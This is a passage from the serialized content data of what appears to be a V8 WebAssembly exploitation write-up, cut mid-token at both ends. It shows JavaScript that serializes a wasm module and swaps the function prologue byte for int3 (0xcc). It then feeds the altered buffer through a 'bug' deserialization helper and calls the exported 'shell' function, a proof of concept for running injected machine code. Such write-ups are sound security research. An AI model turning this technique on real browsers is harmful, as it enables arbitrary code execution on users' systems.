']');\n",[131344],{"type":23,"tag":135,"props":131345,"children":131346},{"__ignoreMap":7},[131347,131377,131604,131672,131679,131724,131770,131810,131817,131841,131878,131914],{"type":23,"tag":139,"props":131348,"children":131349},{"class":141,"line":142},[131350,131354,131359,131363,131367,131372],{"type":23,"tag":139,"props":131351,"children":131352},{"style":279},[131353],{"type":28,"value":32936},{"type":23,"tag":139,"props":131355,"children":131356},{"style":294},[131357],{"type":28,"value":131358}," wasm_code",{"type":23,"tag":139,"props":131360,"children":131361},{"style":982},[131362],{"type":28,"value":985},{"type":23,"tag":139,"props":131364,"children":131365},{"style":279},[131366],{"type":28,"value":29820},{"type":23,"tag":139,"props":131368,"children":131369},{"style":245},[131370],{"type":28,"value":131371}," Uint8Array",{"type":23,"tag":139,"props":131373,"children":131374},{"style":259},[131375],{"type":28,"value":131376},"([\n",{"type":23,"tag":139,"props":131378,"children":131379},{"class":141,"line":151},[131380,131385,131389,131394,131398,131403,131407,131412,131416,131420,131424,131428,131432,131436,131440,131444,131448,131452,131456,131460,131464,131468,131472,131477,131481,131485,131489,131493,131497,131501,131505,131509,131513,131517,131521,131525,131529,131533,131537,131541,131545,131549,131553,131557,131561,131565,131569,131574,131578,131583,131587,131592,131596,131600],{"type":23,"tag":139,"props":131381,"children":131382},{"style":1016},[131383],{"type":28,"value":131384},"  0",{"type":23,"tag":139,"props":131386,"children":131387},{"style":259},[131388],{"type":28,"value":1052},{"type":23,"tag":139,"props":131390,"children":131391},{"style":1016},[131392],{"type":28,"value":131393},"97",{"type":23,"tag":139,"props":131395,"children":131396},{"style":259},[131397],{"type":28,"value":1052},{"type":23,"tag":139,"props":131399,"children":131400},{"style":1016},[131401],{"type":28,"value":131402},"115",{"type":23,"tag":139,"props":131404,"children":131405},{"style":259},[131406],{"type":28,"value":1052},{"type":23,"tag":139,"props":131408,"children":131409},{"style":1016},[131410],{"type":28,"value":131411},"109",{"type":23,"tag":139,"props":131413,"children":131414},{"style":259},[131415],{"type":28,"value":1052},{"type":23,"tag":139,"props":131417,"children":131418},{"style":1016},[131419],{"type":28,"value":647},{"type":23,"tag":139,"props":131421,"children":131422},{"style":259},[131423],{"type":28,"value":1052},{"type":23,"tag":139,"props":131425,"children":131426},{"style":1016},[131427],{"type":28,"value":2021},{"type":23,"tag":139,"props":131429,"children":131430},{"style":259},[131431],{"type":28,"value":1052},{"type":23,"tag":139,"props":131433,"children":131434},{"style":1016},[131435],{"type":28,"value":2021},{"type":23,"tag":139,"props":131437,"children":131438},{"style":259},[131439],{"type":28,"value":1052},{"type":23,"tag":139,"props":131441,"children":131442},{"style":1016},[131443],{"type":28,"value":2021},{"type":23,"tag":139,"props":131445,"children":131446},{"style":259},[131447],{"type":28,"value":1052},{"type":23,"tag":139,"props":131449,"children":131450},{"style":1016},[131451],{"type":28,"value":647},{"type":23,"tag":139,"props":131453,"children":131454},{"style":259},[131455],{"type":28,"value":1052},{"type":23,"tag":139,"props":131457,"children":131458},{"style":1016},[131459],{"type":28,"value":15541},{"type":23,"tag":139,"props":131461,"children":131462},{"style":259},[131463],{"type":28,"value":1052},{"type":23,"tag":139,"props":131465,"children":131466},{"style":1016},[131467],{"type":28,"value":647},{"type":23,"tag":139,"props":131469,"children":131470},{"style":259},[131471],{"type":28,"value":1052},{"type":23,"tag":139,"props":131473,"children":131474},{"style":1016},[131475],{"type":28,"value":131476},"96",{"type":23,"tag":139,"props":131478,"children":131479},{"style":259},[131480],{"type":28,"value":1052},{"type":23,"tag":139,"props":131482,"children":131483},{"style":1016},[131484],{"type":28,"value":2021},{"type":23,"tag":139,"props":131486,"children":131487},{"style":259},[131488],{"type":28,"value":1052},{"type":23,"tag":139,"props":131490,"children":131491},{"style":1016},[131492],{"type":28,"value":2021},{"type":23,"tag":139,"props":131494,"children":131495},{"style":259},[131496],{"type":28,"value":1052},{"type":23,"tag":139,"props":131498,"children":131499},{"style":1016},[131500],{"type":28,"value":15308},{"type":23,"tag":139,"props":131502,"children":131503},{"style":259},[131504],{"type":28,"value":1052},{"type":23,"tag":139,"props":131506,"children":131507},{"style":1016},[131508],{"type":28,"value":1099},{"type":23,"tag":139,"props":131510,"children":131511},{"style":259},[131512],{"type":28,"value":1052},{"type":23,"tag":139,"props":131514,"children":131515},{"style":1016},[131516],{"type":28,"value":647},{"type":23,"tag":139,"props":131518,"children":131519},{"style":259},[131520],{"type":28,"value":1052},{"type":23,"tag":139,"props":131522,"children":131523},{"style":1016},[131524],{"type":28,"value":2021},{"type":23,"tag":139,"props":131526,"children":131527},{"style":259},[131528],{"type":28,"value":1052},{"type":23,"tag":139,"props":131530,"children":131531},{"style":1016},[131532],{"type":28,"value":52569},{"type":23,"tag":139,"props":131534,"children":131535},{"style":259},[131536],{"type":28,"value":1052},{"type":23,"tag":139,"props":131538,"children":131539},{"style":1016},[131540],{"type":28,"value":53784},{"type":23,"tag":139,"props":131542,"children":131543},{"style":259},[131544],{"type":28,"value":1052},{"type":23,"tag":139,"props":131546,"children":131547},{"style":1016},[131548],{"type":28,"value":647},{"type":23,"tag":139,"props":131550,"children":131551},{"style":259},[131552],{"type":28,"value":1052},{"type":23,"tag":139,"props":131554,"children":131555},{"style":1016},[131556],{"type":28,"value":16122},{"type":23,"tag":139,"props":131558,"children":131559},{"style":259},[131560],{"type":28,"value":1052},{"type":23,"tag":139,"props":131562,"children":131563},{"style":1016},[131564],{"type":28,"value":131402},{"type":23,"tag":139,"props":131566,"children":131567},{"style":259},[131568],{"type":28,"value":1052},{"type":23,"tag":139,"props":131570,"children":131571},{"style":1016},[131572],{"type":28,"value":131573},"104",{"type":23,"tag":139,"props":131575,"children":131576},{"style":259},[131577],{"type":28,"value":1052},{"type":23,"tag":139,"props":131579,"children":131580},{"style":1016},[131581],{"type":28,"value":131582},"101",{"type":23,"tag":139,"props":131584,"children":131585},{"style":259},[131586],{"type":28,"value":1052},{"type":23,"tag":139,"props":131588,"children":131589},{"style":1016},[131590],{"type":28,"value":131591},"108",{"type":23,"tag":139,"props":131593,"children":131594},{"style":259},[131595],{"type":28,"value":1052},{"type":23,"tag":139,"props":131597,"children":131598},{"style":1016},[131599],{"type":28,"value":131591},{"type":23,"tag":139,"props":131601,"children":131602},{"style":259},[131603],{"type":28,"value":1488},{"type":23,"tag":139,"props":131605,"children":131606},{"class":141,"line":160},[131607,131611,131615,131619,131623,131627,131631,131635,131639,131643,131647,131651,131655,131659,131663,131668],{"type":23,"tag":139,"props":131608,"children":131609},{"style":1016},[131610],{"type":28,"value":131384},{"type":23,"tag":139,"props":131612,"children":131613},{"style":259},[131614],{"type":28,"value":1052},{"type":23,"tag":139,"props":131616,"children":131617},{"style":1016},[131618],{"type":28,"value":2021},{"type":23,"tag":139,"props":131620,"children":131621},{"style":259},[131622],{"type":28,"value":1052},{"type":23,"tag":139,"props":131624,"children":131625},{"style":1016},[131626],{"type":28,"value":87157},{"type":23,"tag":139,"props":131628,"children":131629},{"style":259},[131630],{"type":28,"value":1052},{"type":23,"tag":139,"props":131632,"children":131633},{"style":1016},[131634],{"type":28,"value":15541},{"type":23,"tag":139,"props":131636,"children":131637},{"style":259},[131638],{"type":28,"value":1052},{"type":23,"tag":139,"props":131640,"children":131641},{"style":1016},[131642],{"type":28,"value":647},{"type":23,"tag":139,"props":131644,"children":131645},{"style":259},[131646],{"type":28,"value":1052},{"type":23,"tag":139,"props":131648,"children":131649},{"style":1016},[131650],{"type":28,"value":1099},{"type":23,"tag":139,"props":131652,"children":131653},{"style":259},[131654],{"type":28,"value":1052},{"type":23,"tag":139,"props":131656,"children":131657},{"style":1016},[131658],{"type":28,"value":2021},{"type":23,"tag":139,"props":131660,"children":131661},{"style":259},[131662],{"type":28,"value":1052},{"type":23,"tag":139,"props":131664,"children":131665},{"style":1016},[131666],{"type":28,"value":131667},"11",{"type":23,"tag":139,"props":131669,"children":131670},{"style":259},[131671],{"type":28,"value":1488},{"type":23,"tag":139,"props":131673,"children":131674},{"class":141,"line":169},[131675],{"type":23,"tag":139,"props":131676,"children":131677},{"style":259},[131678],{"type":28,"value":1742},{"type":23,"tag":139,"props":131680,"children":131681},{"class":141,"line":178},[131682,131686,131690,131694,131698,131703,131707,131711,131715,131720],{"type":23,"tag":139,"props":131683,"children":131684},{"style":279},[131685],{"type":28,"value":32936},{"type":23,"tag":139,"props":131687,"children":131688},{"style":294},[131689],{"type":28,"value":69526},{"type":23,"tag":139,"props":131691,"children":131692},{"style":982},[131693],{"type":28,"value":985},{"type":23,"tag":139,"props":131695,"children":131696},{"style":279},[131697],{"type":28,"value":29820},{"type":23,"tag":139,"props":131699,"children":131700},{"style":294},[131701],{"type":28,"value":131702}," WebAssembly",{"type":23,"tag":139,"props":131704,"children":131705},{"style":259},[131706],{"type":28,"value":73},{"type":23,"tag":139,"props":131708,"children":131709},{"style":245},[131710],{"type":28,"value":83823},{"type":23,"tag":139,"props":131712,"children":131713},{"style":259},[131714],{"type":28,"value":262},{"type":23,"tag":139,"props":131716,"children":131717},{"style":294},[131718],{"type":28,"value":131719},"wasm_code",{"type":23,"tag":139,"props":131721,"children":131722},{"style":259},[131723],{"type":28,"value":1820},{"type":23,"tag":139,"props":131725,"children":131726},{"class":141,"line":187},[131727,131731,131736,131740,131744,131748,131752,131757,131761,131766],{"type":23,"tag":139,"props":131728,"children":131729},{"style":279},[131730],{"type":28,"value":32936},{"type":23,"tag":139,"props":131732,"children":131733},{"style":294},[131734],{"type":28,"value":131735}," inst",{"type":23,"tag":139,"props":131737,"children":131738},{"style":982},[131739],{"type":28,"value":985},{"type":23,"tag":139,"props":131741,"children":131742},{"style":279},[131743],{"type":28,"value":29820},{"type":23,"tag":139,"props":131745,"children":131746},{"style":294},[131747],{"type":28,"value":131702},{"type":23,"tag":139,"props":131749,"children":131750},{"style":259},[131751],{"type":28,"value":73},{"type":23,"tag":139,"props":131753,"children":131754},{"style":245},[131755],{"type":28,"value":131756},"Instance",{"type":23,"tag":139,"props":131758,"children":131759},{"style":259},[131760],{"type":28,"value":262},{"type":23,"tag":139,"props":131762,"children":131763},{"style":294},[131764],{"type":28,"value":131765},"mod",{"type":23,"tag":139,"props":131767,"children":131768},{"style":259},[131769],{"type":28,"value":1820},{"type":23,"tag":139,"props":131771,"children":131772},{"class":141,"line":196},[131773,131777,131781,131785,131789,131793,131797,131801,131806],{"type":23,"tag":139,"props":131774,"children":131775},{"style":279},[131776],{"type":28,"value":32936},{"type":23,"tag":139,"props":131778,"children":131779},{"style":294},[131780],{"type":28,"value":77913},{"type":23,"tag":139,"props":131782,"children":131783},{"style":982},[131784],{"type":28,"value":985},{"type":23,"tag":139,"props":131786,"children":131787},{"style":294},[131788],{"type":28,"value":131735},{"type":23,"tag":139,"props":131790,"children":131791},{"style":259},[131792],{"type":28,"value":73},{"type":23,"tag":139,"props":131794,"children":131795},{"style":294},[131796],{"type":28,"value":35776},{"type":23,"tag":139,"props":131798,"children":131799},{"style":259},[131800],{"type":28,"value":73},{"type":23,"tag":139,"props":131802,"children":131803},{"style":294},[131804],{"type":28,"value":131805},"shell",{"type":23,"tag":139,"props":131807,"children":131808},{"style":259},[131809],{"type":28,"value":995},{"type":23,"tag":139,"props":131811,"children":131812},{"class":141,"line":205},[131813],{"type":23,"tag":139,"props":131814,"children":131815},{"emptyLinePlaceholder":15},[131816],{"type":28,"value":184},{"type":23,"tag":139,"props":131818,"children":131819},{"class":141,"line":214},[131820,131824,131829,131833,131837],{"type":23,"tag":139,"props":131821,"children":131822},{"style":982},[131823],{"type":28,"value":54287},{"type":23,"tag":139,"props":131825,"children":131826},{"style":245},[131827],{"type":28,"value":131828},"WasmTierUpFunction",{"type":23,"tag":139,"props":131830,"children":131831},{"style":259},[131832],{"type":28,"value":262},{"type":23,"tag":139,"props":131834,"children":131835},{"style":294},[131836],{"type":28,"value":74204},{"type":23,"tag":139,"props":131838,"children":131839},{"style":259},[131840],{"type":28,"value":1820},{"type":23,"tag":139,"props":131842,"children":131843},{"class":141,"line":1320},[131844,131848,131853,131857,131862,131866,131870,131874],{"type":23,"tag":139,"props":131845,"children":131846},{"style":279},[131847],{"type":28,"value":32936},{"type":23,"tag":139,"props":131849,"children":131850},{"style":294},[131851],{"type":28,"value":131852}," serialized",{"type":23,"tag":139,"props":131854,"children":131855},{"style":982},[131856],{"type":28,"value":985},{"type":23,"tag":139,"props":131858,"children":131859},{"style":982},[131860],{"type":28,"value":131861}," %",{"type":23,"tag":139,"props":131863,"children":131864},{"style":245},[131865],{"type":28,"value":130860},{"type":23,"tag":139,"props":131867,"children":131868},{"style":259},[131869],{"type":28,"value":262},{"type":23,"tag":139,"props":131871,"children":131872},{"style":294},[131873],{"type":28,"value":131765},{"type":23,"tag":139,"props":131875,"children":131876},{"style":259},[131877],{"type":28,"value":1820},{"type":23,"tag":139,"props":131879,"children":131880},{"class":141,"line":1329},[131881,131885,131889,131893,131897,131901,131905,131910],{"type":23,"tag":139,"props":131882,"children":131883},{"style":279},[131884],{"type":28,"value":9798},{"type":23,"tag":139,"props":131886,"children":131887},{"style":294},[131888],{"type":28,"value":7167},{"type":23,"tag":139,"props":131890,"children":131891},{"style":982},[131892],{"type":28,"value":985},{"type":23,"tag":139,"props":131894,"children":131895},{"style":279},[131896],{"type":28,"value":29820},{"type":23,"tag":139,"props":131898,"children":131899},{"style":245},[131900],{"type":28,"value":131371},{"type":23,"tag":139,"props":131902,"children":131903},{"style":259},[131904],{"type":28,"value":262},{"type":23,"tag":139,"props":131906,"children":131907},{"style":294},[131908],{"type":28,"value":131909},"serialized",{"type":23,"tag":139,"props":131911,"children":131912},{"style":259},[131913],{"type":28,"value":1820},{"type":23,"tag":139,"props":131915,"children":131916},{"class":141,"line":1580},[131917,131922,131926,131930,131934,131939,131943,131947,131951,131956,131960,131965,131969,131973,131978],{"type":23,"tag":139,"props":131918,"children":131919},{"style":294},[131920],{"type":28,"value":131921},"console",{"type":23,"tag":139,"props":131923,"children":131924},{"style":259},[131925],{"type":28,"value":73},{"type":23,"tag":139,"props":131927,"children":131928},{"style":245},[131929],{"type":28,"value":99857},{"type":23,"tag":139,"props":131931,"children":131932},{"style":259},[131933],{"type":28,"value":262},{"type":23,"tag":139,"props":131935,"children":131936},{"style":265},[131937],{"type":28,"value":131938},"'['",{"type":23,"tag":139,"props":131940,"children":131941},{"style":982},[131942],{"type":28,"value":6910},{"type":23,"tag":139,"props":131944,"children":131945},{"style":294},[131946],{"type":28,"value":7167},{"type":23,"tag":139,"props":131948,"children":131949},{"style":259},[131950],{"type":28,"value":73},{"type":23,"tag":139,"props":131952,"children":131953},{"style":245},[131954],{"type":28,"value":131955},"join",{"type":23,"tag":139,"props":131957,"children":131958},{"style":259},[131959],{"type":28,"value":262},{"type":23,"tag":139,"props":131961,"children":131962},{"style":265},[131963],{"type":28,"value":131964},"', '",{"type":23,"tag":139,"props":131966,"children":131967},{"style":259},[131968],{"type":28,"value":1062},{"type":23,"tag":139,"props":131970,"children":131971},{"style":982},[131972],{"type":28,"value":2382},{"type":23,"tag":139,"props":131974,"children":131975},{"style":265},[131976],{"type":28,"value":131977}," ']'",{"type":23,"tag":139,"props":131979,"children":131980},{"style":259},[131981],{"type":28,"value":1820},{"type":23,"tag":24,"props":131983,"children":131984},{},[131985],{"type":28,"value":131986},"This produces the following output:",{"type":23,"tag":128,"props":131988,"children":131990},{"code":131989},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[131991],{"type":23,"tag":135,"props":131992,"children":131993},{"__ignoreMap":7},[131994],{"type":28,"value":131989},{"type":23,"tag":24,"props":131996,"children":131997},{},[131998,132000,132006,132008,132014,132016,132022,132023,132029,132031,132036],{"type":28,"value":131999},"The bytes ",{"type":23,"tag":135,"props":132001,"children":132003},{"className":132002},[],[132004],{"type":28,"value":132005},"85, 72, 137, 229, ...",{"type":28,"value":132007}," correspond to the x86-64 function prologue (",{"type":23,"tag":135,"props":132009,"children":132011},{"className":132010},[],[132012],{"type":28,"value":132013},"push rbp; mov rbp, rsp",{"type":28,"value":132015},"). We replace the first byte with ",{"type":23,"tag":135,"props":132017,"children":132019},{"className":132018},[],[132020],{"type":28,"value":132021},"0xcc",{"type":28,"value":14471},{"type":23,"tag":135,"props":132024,"children":132026},{"className":132025},[],[132027],{"type":28,"value":132028},"int3",{"type":28,"value":132030}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":135,"props":132032,"children":132034},{"className":132033},[],[132035],{"type":28,"value":130834},{"type":28,"value":2493},{"type":23,"tag":128,"props":132038,"children":132040},{"code":132039,"language":33505,"meta":7,"className":33503,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[132041],{"type":23,"tag":135,"props":132042,"children":132043},{"__ignoreMap":7},[132044,132067,132094,132314,132381,132389,132416,132630,132882,133133,133359,133603,133823,133830,133879,133924,133968,134007,134019],{"type":23,"tag":139,"props":132045,"children":132046},{"class":141,"line":142},[132047,132051,132055,132059,132063],{"type":23,"tag":139,"props":132048,"children":132049},{"style":259},[132050],{"type":28,"value":262},{"type":23,"tag":139,"props":132052,"children":132053},{"style":279},[132054],{"type":28,"value":34035},{"type":23,"tag":139,"props":132056,"children":132057},{"style":259},[132058],{"type":28,"value":37587},{"type":23,"tag":139,"props":132060,"children":132061},{"style":279},[132062],{"type":28,"value":12833},{"type":23,"tag":139,"props":132064,"children":132065},{"style":259},[132066],{"type":28,"value":1268},{"type":23,"tag":139,"props":132068,"children":132069},{"class":141,"line":151},[132070,132074,132078,132082,132086,132090],{"type":23,"tag":139,"props":132071,"children":132072},{"style":279},[132073],{"type":28,"value":34078},{"type":23,"tag":139,"props":132075,"children":132076},{"style":294},[132077],{"type":28,"value":131358},{"type":23,"tag":139,"props":132079,"children":132080},{"style":982},[132081],{"type":28,"value":985},{"type":23,"tag":139,"props":132083,"children":132084},{"style":279},[132085],{"type":28,"value":29820},{"type":23,"tag":139,"props":132087,"children":132088},{"style":245},[132089],{"type":28,"value":131371},{"type":23,"tag":139,"props":132091,"children":132092},{"style":259},[132093],{"type":28,"value":131376},{"type":23,"tag":139,"props":132095,"children":132096},{"class":141,"line":160},[132097,132102,132106,132110,132114,132118,132122,132126,132130,132134,132138,132142,132146,132150,132154,132158,132162,132166,132170,132174,132178,132182,132186,132190,132194,132198,132202,132206,132210,132214,132218,132222,132226,132230,132234,132238,132242,132246,132250,132254,132258,132262,132266,132270,132274,132278,132282,132286,132290,132294,132298,132302,132306,132310],{"type":23,"tag":139,"props":132098,"children":132099},{"style":1016},[132100],{"type":28,"value":132101},"    0",{"type":23,"tag":139,"props":132103,"children":132104},{"style":259},[132105],{"type":28,"value":1052},{"type":23,"tag":139,"props":132107,"children":132108},{"style":1016},[132109],{"type":28,"value":131393},{"type":23,"tag":139,"props":132111,"children":132112},{"style":259},[132113],{"type":28,"value":1052},{"type":23,"tag":139,"props":132115,"children":132116},{"style":1016},[132117],{"type":28,"value":131402},{"type":23,"tag":139,"props":132119,"children":132120},{"style":259},[132121],{"type":28,"value":1052},{"type":23,"tag":139,"props":132123,"children":132124},{"style":1016},[132125],{"type":28,"value":131411},{"type":23,"tag":139,"props":132127,"children":132128},{"style":259},[132129],{"type":28,"value":1052},{"type":23,"tag":139,"props":132131,"children":132132},{"style":1016},[132133],{"type":28,"value":647},{"type":23,"tag":139,"props":132135,"children":132136},{"style":259},[132137],{"type":28,"value":1052},{"type":23,"tag":139,"props":132139,"children":132140},{"style":1016},[132141],{"type":28,"value":2021},{"type":23,"tag":139,"props":132143,"children":132144},{"style":259},[132145],{"type":28,"value":1052},{"type":23,"tag":139,"props":132147,"children":132148},{"style":1016},[132149],{"type":28,"value":2021},{"type":23,"tag":139,"props":132151,"children":132152},{"style":259},[132153],{"type":28,"value":1052},{"type":23,"tag":139,"props":132155,"children":132156},{"style":1016},[132157],{"type":28,"value":2021},{"type":23,"tag":139,"props":132159,"children":132160},{"style":259},[132161],{"type":28,"value":1052},{"type":23,"tag":139,"props":132163,"children":132164},{"style":1016},[132165],{"type":28,"value":647},{"type":23,"tag":139,"props":132167,"children":132168},{"style":259},[132169],{"type":28,"value":1052},{"type":23,"tag":139,"props":132171,"children":132172},{"style":1016},[132173],{"type":28,"value":15541},{"type":23,"tag":139,"props":132175,"children":132176},{"style":259},[132177],{"type":28,"value":1052},{"type":23,"tag":139,"props":132179,"children":132180},{"style":1016},[132181],{"type":28,"value":647},{"type":23,"tag":139,"props":132183,"children":132184},{"style":259},[132185],{"type":28,"value":1052},{"type":23,"tag":139,"props":132187,"children":132188},{"style":1016},[132189],{"type":28,"value":131476},{"type":23,"tag":139,"props":132191,"children":132192},{"style":259},[132193],{"type":28,"value":1052},{"type":23,"tag":139,"props":132195,"children":132196},{"style":1016},[132197],{"type":28,"value":2021},{"type":23,"tag":139,"props":132199,"children":132200},{"style":259},[132201],{"type":28,"value":1052},{"type":23,"tag":139,"props":132203,"children":132204},{"style":1016},[132205],{"type":28,"value":2021},{"type":23,"tag":139,"props":132207,"children":132208},{"style":259},[132209],{"type":28,"value":1052},{"type":23,"tag":139,"props":132211,"children":132212},{"style":1016},[132213],{"type":28,"value":15308},{"type":23,"tag":139,"props":132215,"children":132216},{"style":259},[132217],{"type":28,"value":1052},{"type":23,"tag":139,"props":132219,"children":132220},{"style":1016},[132221],{"type":28,"value":1099},{"type":23,"tag":139,"props":132223,"children":132224},{"style":259},[132225],{"type":28,"value":1052},{"type":23,"tag":139,"props":132227,"children":132228},{"style":1016},[132229],{"type":28,"value":647},{"type":23,"tag":139,"props":132231,"children":132232},{"style":259},[132233],{"type":28,"value":1052},{"type":23,"tag":139,"props":132235,"children":132236},{"style":1016},[132237],{"type":28,"value":2021},{"type":23,"tag":139,"props":132239,"children":132240},{"style":259},[132241],{"type":28,"value":1052},{"type":23,"tag":139,"props":132243,"children":132244},{"style":1016},[132245],{"type":28,"value":52569},{"type":23,"tag":139,"props":132247,"children":132248},{"style":259},[132249],{"type":28,"value":1052},{"type":23,"tag":139,"props":132251,"children":132252},{"style":1016},[132253],{"type":28,"value":53784},{"type":23,"tag":139,"props":132255,"children":132256},{"style":259},[132257],{"type":28,"value":1052},{"type":23,"tag":139,"props":132259,"children":132260},{"style":1016},[132261],{"type":28,"value":647},{"type":23,"tag":139,"props":132263,"children":132264},{"style":259},[132265],{"type":28,"value":1052},{"type":23,"tag":139,"props":132267,"children":132268},{"style":1016},[132269],{"type":28,"value":16122},{"type":23,"tag":139,"props":132271,"children":132272},{"style":259},[132273],{"type":28,"value":1052},{"type":23,"tag":139,"props":132275,"children":132276},{"style":1016},[132277],{"type":28,"value":131402},{"type":23,"tag":139,"props":132279,"children":132280},{"style":259},[132281],{"type":28,"value":1052},{"type":23,"tag":139,"props":132283,"children":132284},{"style":1016},[132285],{"type":28,"value":131573},{"type":23,"tag":139,"props":132287,"children":132288},{"style":259},[132289],{"type":28,"value":1052},{"type":23,"tag":139,"props":132291,"children":132292},{"style":1016},[132293],{"type":28,"value":131582},{"type":23,"tag":139,"props":132295,"children":132296},{"style":259},[132297],{"type":28,"value":1052},{"type":23,"tag":139,"props":132299,"children":132300},{"style":1016},[132301],{"type":28,"value":131591},{"type":23,"tag":139,"props":132303,"children":132304},{"style":259},[132305],{"type":28,"value":1052},{"type":23,"tag":139,"props":132307,"children":132308},{"style":1016},[132309],{"type":28,"value":131591},{"type":23,"tag":139,"props":132311,"children":132312},{"style":259},[132313],{"type":28,"value":1488},{"type":23,"tag":139,"props":132315,"children":132316},{"class":141,"line":169},[132317,132321,132325,132329,132333,132337,132341,132345,132349,132353,132357,132361,132365,132369,132373,132377],{"type":23,"tag":139,"props":132318,"children":132319},{"style":1016},[132320],{"type":28,"value":132101},{"type":23,"tag":139,"props":132322,"children":132323},{"style":259},[132324],{"type":28,"value":1052},{"type":23,"tag":139,"props":132326,"children":132327},{"style":1016},[132328],{"type":28,"value":2021},{"type":23,"tag":139,"props":132330,"children":132331},{"style":259},[132332],{"type":28,"value":1052},{"type":23,"tag":139,"props":132334,"children":132335},{"style":1016},[132336],{"type":28,"value":87157},{"type":23,"tag":139,"props":132338,"children":132339},{"style":259},[132340],{"type":28,"value":1052},{"type":23,"tag":139,"props":132342,"children":132343},{"style":1016},[132344],{"type":28,"value":15541},{"type":23,"tag":139,"props":132346,"children":132347},{"style":259},[132348],{"type":28,"value":1052},{"type":23,"tag":139,"props":132350,"children":132351},{"style":1016},[132352],{"type":28,"value":647},{"type":23,"tag":139,"props":132354,"children":132355},{"style":259},[132356],{"type":28,"value":1052},{"type":23,"tag":139,"props":132358,"children":132359},{"style":1016},[132360],{"type":28,"value":1099},{"type":23,"tag":139,"props":132362,"children":132363},{"style":259},[132364],{"type":28,"value":1052},{"type":23,"tag":139,"props":132366,"children":132367},{"style":1016},[132368],{"type":28,"value":2021},{"type":23,"tag":139,"props":132370,"children":132371},{"style":259},[132372],{"type":28,"value":1052},{"type":23,"tag":139,"props":132374,"children":132375},{"style":1016},[132376],{"type":28,"value":131667},{"type":23,"tag":139,"props":132378,"children":132379},{"style":259},[132380],{"type":28,"value":1488},{"type":23,"tag":139,"props":132382,"children":132383},{"class":141,"line":178},[132384],{"type":23,"tag":139,"props":132385,"children":132386},{"style":259},[132387],{"type":28,"value":132388},"  ]);\n",{"type":23,"tag":139,"props":132390,"children":132391},{"class":141,"line":187},[132392,132396,132400,132404,132408,132412],{"type":23,"tag":139,"props":132393,"children":132394},{"style":279},[132395],{"type":28,"value":34078},{"type":23,"tag":139,"props":132397,"children":132398},{"style":294},[132399],{"type":28,"value":123171},{"type":23,"tag":139,"props":132401,"children":132402},{"style":982},[132403],{"type":28,"value":985},{"type":23,"tag":139,"props":132405,"children":132406},{"style":279},[132407],{"type":28,"value":29820},{"type":23,"tag":139,"props":132409,"children":132410},{"style":245},[132411],{"type":28,"value":131371},{"type":23,"tag":139,"props":132413,"children":132414},{"style":259},[132415],{"type":28,"value":131376},{"type":23,"tag":139,"props":132417,"children":132418},{"class":141,"line":196},[132419,132424,132428,132432,132436,132441,132445,132450,132454,132459,132463,132468,132472,132477,132481,132486,132490,132495,132499,132504,132508,132512,132516,132520,132524,132529,132533,132538,132542,132546,132550,132554,132558,132562,132566,132570,132574,132578,132582,132586,132590,132594,132598,132602,132606,132610,132614,132618,132622,132626],{"type":23,"tag":139,"props":132420,"children":132421},{"style":1016},[132422],{"type":28,"value":132423},"    147",{"type":23,"tag":139,"props":132425,"children":132426},{"style":259},[132427],{"type":28,"value":1052},{"type":23,"tag":139,"props":132429,"children":132430},{"style":1016},[132431],{"type":28,"value":16434},{"type":23,"tag":139,"props":132433,"children":132434},{"style":259},[132435],{"type":28,"value":1052},{"type":23,"tag":139,"props":132437,"children":132438},{"style":1016},[132439],{"type":28,"value":132440},"222",{"type":23,"tag":139,"props":132442,"children":132443},{"style":259},[132444],{"type":28,"value":1052},{"type":23,"tag":139,"props":132446,"children":132447},{"style":1016},[132448],{"type":28,"value":132449},"192",{"type":23,"tag":139,"props":132451,"children":132452},{"style":259},[132453],{"type":28,"value":1052},{"type":23,"tag":139,"props":132455,"children":132456},{"style":1016},[132457],{"type":28,"value":132458},"20",{"type":23,"tag":139,"props":132460,"children":132461},{"style":259},[132462],{"type":28,"value":1052},{"type":23,"tag":139,"props":132464,"children":132465},{"style":1016},[132466],{"type":28,"